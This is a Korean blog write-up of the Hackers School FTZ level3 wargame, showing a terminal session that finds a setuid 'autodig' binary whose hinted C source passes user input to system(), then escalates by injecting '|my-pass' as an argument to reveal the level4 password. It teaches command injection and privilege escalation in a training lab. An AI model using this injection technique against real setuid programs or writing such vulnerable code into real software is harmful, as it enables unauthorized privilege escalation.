-
해커스쿨 FTZ level3정보보안/포너블 2017. 12. 26. 16:07123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149login as: level3level3@192.168.244.128's password:[level3@ftz level3]$ lshint public_html tmp[level3@ftz level3]$ cat hint다음 코드는 autodig의 소스이다.#include <stdio.h>#include <stdlib.h>#include <unistd.h>int main(int argc, char **argv){char cmd[100];if( argc!=2 ){printf( "Auto Digger Version 0.9\n" );printf( "Usage : %s host\n", argv[0] );exit(0);}strcpy( cmd, "dig @" );strcat( cmd, argv[1] );strcat( cmd, " version.bind chaos txt");system( cmd );}이를 이용하여 level4의 권한을 얻어라.more hints.- 동시에 여러 명령어를 사용하려면?- 문자열 형태로 명령어를 전달하려면?[level3@ftz level3]$ find / -user level4 -perm -4000find: /lost+found: Permission deniedfind: /boot/lost+found: Permission deniedfind: /proc/1/fd: Permission deniedfind: /proc/2/fd: Permission deniedfind: /proc/3/fd: Permission deniedfind: /proc/4/fd: Permission deniedfind: /proc/9/fd: Permission deniedfind: /proc/5/fd: Permission deniedfind: /proc/6/fd: Permission deniedfind: /proc/7/fd: Permission deniedfind: /proc/8/fd: Permission deniedfind: /proc/10/fd: Permission deniedfind: /proc/11/fd: Permission deniedfind: /proc/19/fd: Permission deniedfind: /proc/77/fd: Permission deniedfind: /proc/1165/fd: Permission deniedfind: /proc/1474/fd: Permission deniedfind: /proc/1530/fd: Permission deniedfind: /proc/1534/fd: Permission deniedfind: /proc/1552/fd: Permission deniedfind: /proc/1571/fd: Permission deniedfind: /proc/1638/fd: Permission deniedfind: /proc/1675/fd: Permission deniedfind: /proc/1709/fd: Permission deniedfind: /proc/1718/fd: Permission deniedfind: /proc/1728/fd: Permission deniedfind: /proc/1737/fd: Permission deniedfind: /proc/1746/fd: Permission deniedfind: /proc/1782/fd: Permission deniedfind: /proc/1812/fd: Permission deniedfind: /proc/1824/fd: Permission deniedfind: /proc/.1825/fd: Permission deniedfind: /proc/.1826/fd: Permission deniedfind: /proc/.1827/fd: Permission deniedfind: /proc/.1828/fd: Permission deniedfind: /proc/.1829/fd: Permission deniedfind: /proc/.1830/fd: Permission deniedfind: /proc/.1831/fd: Permission deniedfind: /proc/.1832/fd: Permission deniedfind: /proc/1877/fd: Permission deniedfind: /proc/1878/fd: Permission deniedfind: /proc/1879/fd: Permission deniedfind: /proc/1880/fd: Permission deniedfind: /proc/1881/fd: Permission deniedfind: /proc/1882/fd: Permission deniedfind: /proc/1883/fd: Permission deniedfind: /proc/1884/fd: Permission deniedfind: /proc/2403/fd: Permission deniedfind: /proc/2405/fd: Permission deniedfind: /proc/2406/fd: Permission deniedfind: /proc/2488/fd: Permission deniedfind: /proc/2492/fd: Permission deniedfind: /proc/2494/fd: Permission deniedfind: /proc/2495/fd: Permission deniedfind: /proc/2551/fd: Permission deniedfind: /proc/2816/fd: Permission deniedfind: /proc/8359/fd: Permission deniedfind: /proc/8361/fd: Permission deniedfind: /var/lib/slocate: Permission deniedfind: /var/lib/nfs/statd: Permission deniedfind: /var/lib/dav: Permission deniedfind: /var/lib/mysql/mysql: Permission deniedfind: /var/lib/mysql/test: Permission deniedfind: /var/lib/pgsql: Permission deniedfind: /var/log/httpd: Permission deniedfind: /var/log/squid: Permission deniedfind: /var/log/samba: Permission deniedfind: /var/cache/mod_ssl: Permission deniedfind: /var/cache/alchemist/printconf.rpm: Permission deniedfind: /var/cache/alchemist/printconf.local: Permission deniedfind: /var/run/sudo: Permission deniedfind: /var/spool/at: Permission deniedfind: /var/spool/clientmqueue: Permission deniedfind: /var/spool/mqueue: Permission deniedfind: /var/spool/cron: Permission deniedfind: /var/spool/squid: Permission deniedfind: /var/empty/sshd: Permission deniedfind: /var/tux: Permission deniedfind: /etc/sysconfig/pgsql: Permission deniedfind: /etc/default: Permission deniedfind: /etc/httpd/conf/ssl.crl: Permission deniedfind: /etc/httpd/conf/ssl.crt: Permission deniedfind: /etc/httpd/conf/ssl.csr: Permission deniedfind: /etc/httpd/conf/ssl.key: Permission deniedfind: /etc/httpd/conf/ssl.prm: Permission deniedfind: /root: Permission deniedfind: /usr/share/ssl/CA: Permission denied/bin/autodigfind: /home/clear: Permission deniedfind: /home/level10/program: Permission deniedfind: /home/level5/tmp: Permission deniedfind: /home/trainer1: Permission deniedfind: /home/trainer10: Permission deniedfind: /home/trainer2: Permission deniedfind: /home/trainer3: Permission deniedfind: /home/trainer4: Permission deniedfind: /home/trainer5: Permission deniedfind: /home/trainer6: Permission deniedfind: /home/trainer7: Permission deniedfind: /home/trainer8: Permission deniedfind: /home/trainer9: Permission denied[level3@ftz level3]$ cd /bin[level3@ftz bin]$ file autodigautodig: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, dynamically linked (uses shared libs), not stripped[level3@ftz bin]$ ls -al | grep autodig-rwsr-x--- 1 level4 level3 12194 Sep 10 2011 autodig[level3@ftz bin]$ autodig "|my-pass"Level4 Password is "suck my brain".dig: Couldn't find server '': Name or service not known
cs 1) 동시에 여러 명령어를 사용하려면? 세미콜론(;)이나 파이프(|)를 사용하여 구분하여 사용한다.
2) 문자열 형태로 명령어를 전달하려면? 따옴표(")로 묶어서 전달한다.
'정보보안 > 포너블' 카테고리의 다른 글
pwnable.kr 1번 fd (0) 2017.12.26 해커스쿨 FTZ level4 (0) 2017.12.26 해커스쿨 FTZ level2 (0) 2017.12.26 해커스쿨 FTZ level1 (0) 2017.12.26 note (0) 2017.12.20